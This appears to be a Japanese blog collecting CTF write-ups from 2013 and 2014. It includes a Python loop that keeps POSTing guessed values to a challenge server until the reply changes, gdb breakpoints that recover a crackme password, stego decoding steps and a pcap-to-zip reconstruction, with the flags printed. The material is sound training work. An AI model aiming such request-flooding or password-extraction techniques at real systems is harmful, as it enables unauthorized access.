# -*- coding: utf-8 -*-

import urllib, urllib2

url='http://challenges.defconkerala.com/web/300/update.php'

useragent='Mozilla/5.0 (Linux; U; Android 2.1-update1; ja-jp; SO-01B Build/2.0.2.B.0.29)'

pwd,imei,div=1,1,1

while True:
 post = urllib.urlencode({'pwd':pwd,'imei':imei,'div':div})
 req = urllib2.Request(url,post)
 req.add_header("User-agent", useragent)

 s = urllib2.urlopen(req).read()
 if "You missed something. Keep Trying !!" != s:
  break

print s



プログラム完成までのまとめ
1 apkのプログラムは、POSTで送る値のうち、pwdはランダムのものを送っている

2 int i = (new Random()).nextInt(300);で生成される値をすべて送る → だめだった

3 悩む

4 CSAW CTF 2013のWeb300が似たような問題だったので感染力感染力レベルを探す → 関係なかった

5 どうすればいいかわからず無限ループでデータを送り続ける→flagが出てしまった。

Flag is: w00tkitk@t


ということでこれがWeb300??という感じでした。

2014年2月24日月曜日

CODEGATE 2014 Writeup

問題 Reversing 200

dodoCrackme

My eyes almost poped out!


問題ファイル
$file crackme_d079a0af0b01789c01d5755c885da4f6
crackme_d079a0af0b01789c01d5755c885da4f6: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=0xb300ef9227a8911db0d6aea538fe03fe4dfb20fe, stripped

実行する
$./crackme_d079a0af0b01789c01d5755c885da4f6
root@localhost's password:
Permission denied (password).

パスワードを聞かれる パスワードを見つける?

とりあえずobjdumpして眺めている


inc    BYTE PTR [rbp+0x0]
ここにインクリメントして文字列を生成しているようで

gdbで
display/s $rbp
b *0x400295
b *0x4002b2
b *0x4002c6
b *0x4002e9
b *0x400304
b *0x400328
b *0x400345
b *0x40037d
b *0x400397
b *0x4003cb
b *0x4003eb
b *0x400414
b *0x400434
b *0x40044b
b *0x40046b
b *0x40048e
b *0x4004c3
b *0x4004ec
b *0x400508
b *0x40052d
b *0x400541
b *0x400561
b *0x40058d
b *0x4005aa
b *0x4005cf
b *0x4005f9
b *0x400615

ブレイクポイントをうって値を確認すると
root@localhost's password: っという文字列が現れた。

さらに下のほうを見るとまたインクリメントして文字列を生成しているところがあった。
今度は
mov    al,BYTE PTR [rbp+0x0]
alに入れていたのでそこを出力する。

ブレイクポイントをうち実行
display/c $al
b *0x4007f4
b *0x400a70
b *0x400d43
b *0x401019
b *0x40130d
b *0x401616
b *0x4018ce
b *0x401b50
b *0x401e11
b *0x4020d8
b *0x4023a8
b *0x4026c9
b *0x4029c6
b *0x402c99
b *0x402fbd
b *0x40325d
b *0x4034fa
b *0x40379d
b *0x403a4c
b *0x403d7f
b *0x404061
b *0x40437c
b *0x4046b8
b *0x40496d
b *0x404c7c
b *0x404fc1
b *0x4052cd
b *0x40558b
b *0x4058b2
b *0x405bb5
b *0x405e88



(gdb) r
Starting program: /root/Desktop/crackme_d079a0af0b01789c01d5755c885da4f6 
root@localhost's password: 
Breakpoint 1, 0x00000000004007f4 in ?? ()
1: /c $al = 72 'H'
(gdb) c
Continuing.

Breakpoint 2, 0x0000000000400a70 in ?? ()
1: /c $al = 52 '4'
(gdb) 
Continuing.

Breakpoint 3, 0x0000000000400d43 in ?? ()
1: /c $al = 80 'P'
(gdb) 
Continuing.

Breakpoint 4, 0x0000000000401019 in ?? ()
1: /c $al = 80 'P'
(gdb) 
Continuing.

Breakpoint 5, 0x000000000040130d in ?? ()
1: /c $al = 89 'Y'
(gdb) 
Continuing.

Breakpoint 6, 0x0000000000401616 in ?? ()
1: /c $al = 95 '_'
(gdb) 
Continuing.

Breakpoint 7, 0x00000000004018ce in ?? ()
1: /c $al = 67 'C'
(gdb) 
Continuing.

Breakpoint 8, 0x0000000000401b50 in ?? ()
1: /c $al = 48 '0'
(gdb) 
Continuing.

Breakpoint 9, 0x0000000000401e11 in ?? ()
1: /c $al = 68 'D'
(gdb) 
Continuing.

Breakpoint 10, 0x00000000004020d8 in ?? ()
1: /c $al = 69 'E'
(gdb) 
Continuing.

Breakpoint 11, 0x00000000004023a8 in ?? ()
1: /c $al = 71 'G'
(gdb) 
Continuing.

Breakpoint 12, 0x00000000004026c9 in ?? ()
1: /c $al = 97 'a'
(gdb) 
Continuing.

Breakpoint 13, 0x00000000004029c6 in ?? ()
1: /c $al = 84 'T'
(gdb) 
Continuing.

Breakpoint 14, 0x0000000000402c99 in ?? ()
1: /c $al = 69 'E'
(gdb) 
Continuing.

Breakpoint 15, 0x0000000000402fbd in ?? ()
1: /c $al = 95 '_'
(gdb) 
Continuing.

Breakpoint 16, 0x000000000040325d in ?? ()
1: /c $al = 50 '2'
(gdb) 
Continuing.

Breakpoint 17, 0x00000000004034fa in ?? ()
1: /c $al = 48 '0'
(gdb) 
Continuing.

Breakpoint 18, 0x000000000040379d in ?? ()
1: /c $al = 49 '1'
(gdb) 
Continuing.

Breakpoint 19, 0x0000000000403a4c in ?? ()
1: /c $al = 52 '4'
(gdb) 
Continuing.

Breakpoint 20, 0x0000000000403d7f in ?? ()
1: /c $al = 95 '_'
(gdb) 
Continuing.

Breakpoint 21, 0x0000000000404061 in ?? ()
1: /c $al = 67 'C'
(gdb) 
Continuing.

Breakpoint 22, 0x000000000040437c in ?? ()
1: /c $al = 85 'U'
(gdb) 
Continuing.

Breakpoint 23, 0x00000000004046b8 in ?? ()
1: /c $al = 95 '_'
(gdb) 
Continuing.

Breakpoint 24, 0x000000000040496d in ?? ()
1: /c $al = 49 '1'
(gdb) 
Continuing.

Breakpoint 25, 0x0000000000404c7c in ?? ()
1: /c $al = 78 'N'
(gdb) 
Continuing.

Breakpoint 26, 0x0000000000404fc1 in ?? ()
1: /c $al = 95 '_'
(gdb) 
Continuing.

Breakpoint 27, 0x00000000004052cd in ?? ()
1: /c $al = 75 'K'
(gdb) 
Continuing.

Breakpoint 28, 0x000000000040558b in ?? ()
1: /c $al = 48 '0'
(gdb) 
Continuing.

Breakpoint 29, 0x00000000004058b2 in ?? ()
1: /c $al = 82 'R'
(gdb) 
Continuing.

Breakpoint 30, 0x0000000000405bb5 in ?? ()
1: /c $al = 69 'E'
(gdb) 
Continuing.

Breakpoint 31, 0x0000000000405e88 in ?? ()
1: /c $al = 52 '4'
(gdb) 
Continuing.

出てきた文字列をすべてつなげる

H4PPY_C0DEGaTE_2014_CU_1N_K0RE4

これがflagだった。

2014年1月26日日曜日

SECCON CTF 2013 online Writeup

その他 [400]
solve the steganography

問題ファイル


透明な画像ファイルが1つ
Stegsolve.jarで開いてRGBなどを見る



QRコードっぽいものが入っていたのですべて保存して順番に合体させる



白と黒が逆だなーっと思ったので反転させてQRコードを読み取ると読み取れない
何でだろうとQRコードをみたら シンボルのところにCTFっと書いてあったのでこれを消してみたら読み込めた

読み取り結果

YmVnaW4gNjY2IHJvdGF0ZWQudHh0Ck01QiEmM0RQQDU1KSwrNFEyM0U0TTMlKS4rNSkuNTJQQDU1
KSwoJFEyM0IhLDREWCo1QiEmM0RQQDU1KSwKTSgyISo1NFknKVQ4QDUkKTYwMjxAMEQkKjFVNTIo
JS05M0UwQDVEOEAzQiEpM0VFKDRCISI0UiFGPTZYUgo7LEMwSChFNTIzJFEyMyRZLjREUS4zRFky
MyRZMjMkWS4oQkQqCiAKZW5kCg==

Base64をデコードして


begin 666 rotated.txt
M5B!&3DP@55),+4Q23E4M3%).+5).52P@55),($Q23B!,4DX*5B!&3DP@55), M(2!*54Y')T8@5$)602<@0D$*1U52(%-93E0@5D8@3B!)3EE(4B!"4R!F=6XR ;,C0H(E523$Q23$Y.4DQ.3DY23$Y23$Y.(BD* end


uuencodeをデコードして

V FNL URL-LRNU-LRN-RNU, URL LRN LRN
V FNL URL! JUNG'F TBVA' BA
GUR SYNT VF N INYHR BS fun224("URLLRLNNRLNNNRLNRLNN")

rot13して

I SAY HEY-YEAH-YEA-EAH, HEY YEA YEA
I SAY HEY! WHAT'S GOIN' ON
THE FLAG IS A VALUE OF sha224("HEYYEYAAEYAAAEYAEYAA")



Flag:69138fbfab15cd1cfd153750e6afe39f7ce49cc1c4c4c2173271ffc1


とても面白い問題でした。

みなさんお疲れ様でした。

2014年1月14日火曜日

Break In CTF Writeup

個人的に面白かった問題を1つ

ジャンル・タイトル
Miscellaneous・Question8
本文
Extract key from network traffic
file:network_analysis

Wiresharkで開く




ざっと見た感じブラウジングしてるのかなっと思ったのでどこにアクセスしているかみる

http://67.159.60.66/upload_fileapi.php

ってところに何度かデータ送っていたので何を送っているのか見てみる

1つ目のところ

50 4b 01 02あったのでzipを分割して送っているのかな?っと思ったので

ほかのところのデータも見てみる




この4つのデータを結合しzipを完成させ

解凍したところ
split-fileというフォルダがあり
中にpassというファイルがあった

passの中身に 12wsdqwe32109 とかかれており これがflagだった。

こんな感じです。